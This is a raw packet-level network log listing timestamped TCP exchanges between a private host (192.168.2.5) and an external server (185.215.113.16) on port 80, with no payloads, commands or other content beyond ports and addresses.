Oct 24, 2024 08:38:12.425887108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425900936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425918102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425937891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425955057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425955057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425972939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425987959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425996065 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426009893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426024914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426038027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426045895 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426067114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426074028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426089048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426110029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426117897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426126957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426139116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426145077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426167965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426179886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426196098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426207066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426220894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426243067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426253080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426268101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426280022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426291943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426310062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426317930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426326990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426345110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426352024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426378965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426387072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426399946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426414967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426424026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426434994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426446915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426456928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426470041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426480055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426493883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426506996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426518917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426528931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426542997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426553011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426567078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426578999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426592112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426601887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426618099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426629066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426654100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426662922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426677942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426692963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.426702976 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426717043 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.426736116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.461030006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.461074114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.461112022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.461137056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.461158991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.461209059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.465495110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.465512037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.465528011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.465543032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.465555906 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.465573072 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.465591908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481113911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481175900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481228113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481245995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481266022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481280088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481291056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481316090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481327057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481347084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481364012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481374979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481389999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481406927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481427908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481450081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481466055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.481477976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.481518030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.522939920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.522979975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.523027897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.523053885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.523053885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.523086071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.523122072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.523155928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.523178101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.523226023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.523240089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.523278952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534101963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534145117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534174919 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534209967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534219980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534233093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534246922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534259081 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534276009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534287930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534298897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534312010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534322977 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534337044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534353018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.534363031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534370899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.534384012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542495966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542531013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542545080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542588949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542620897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542651892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542668104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542685032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542695999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542710066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542723894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542733908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542758942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542771101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542783976 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542797089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542814016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542823076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542846918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542865038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542880058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542892933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542915106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542927027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542943001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542963028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542979002 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.542993069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.542993069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543011904 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543020964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543045044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543062925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543090105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543101072 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543116093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543127060 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543155909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543179035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543200016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543220043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543241024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543267012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543281078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543307066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543328047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543345928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543354034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543376923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543392897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543416977 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543427944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543447971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543456078 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543473959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543481112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543497086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543504000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543514013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543528080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543539047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543564081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543576002 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543591022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543606997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543616056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543628931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543639898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543649912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543663979 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.543674946 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.543700933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.578353882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.578375101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.578392029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.578458071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.578484058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.582819939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.582838058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.582854033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.582871914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.582885027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.582900047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.582937956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.598382950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598400116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598412991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598424911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598438978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598452091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598470926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598484993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.598520041 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.598607063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.639661074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.639691114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.639707088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.639750957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.639766932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.639780998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.639852047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.640017986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.650883913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.650913954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.650928974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.650998116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.650999069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651015997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651026964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651031971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651047945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651051044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651073933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651087046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651108980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651124001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.651134968 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651134968 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651134968 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651134968 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651155949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.651164055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659789085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659809113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659835100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659849882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659866095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659871101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659882069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659898996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659898996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659898996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659914017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659928083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659929991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659946918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659971952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659971952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.659990072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.659995079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660005093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660029888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660044909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660051107 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660060883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660072088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660075903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660090923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660094023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660103083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660109043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660120964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660124063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660139084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660149097 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660165071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660173893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660181046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660198927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660204887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660213947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660217047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660238981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660247087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660255909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660273075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660290003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660312891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660320997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660355091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660370111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660399914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660402060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660414934 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660418034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660443068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660449028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660458088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660471916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660475969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660491943 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660517931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660643101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660680056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660692930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660695076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660718918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660733938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660799026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660815001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660832882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660844088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660857916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660876989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.660896063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.660938025 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.695004940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.695023060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.695039034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.695055962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.695146084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.699767113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.699784994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.699803114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.699850082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.699891090 CEST	60982	80	192.168.2.5	185.215.113.16
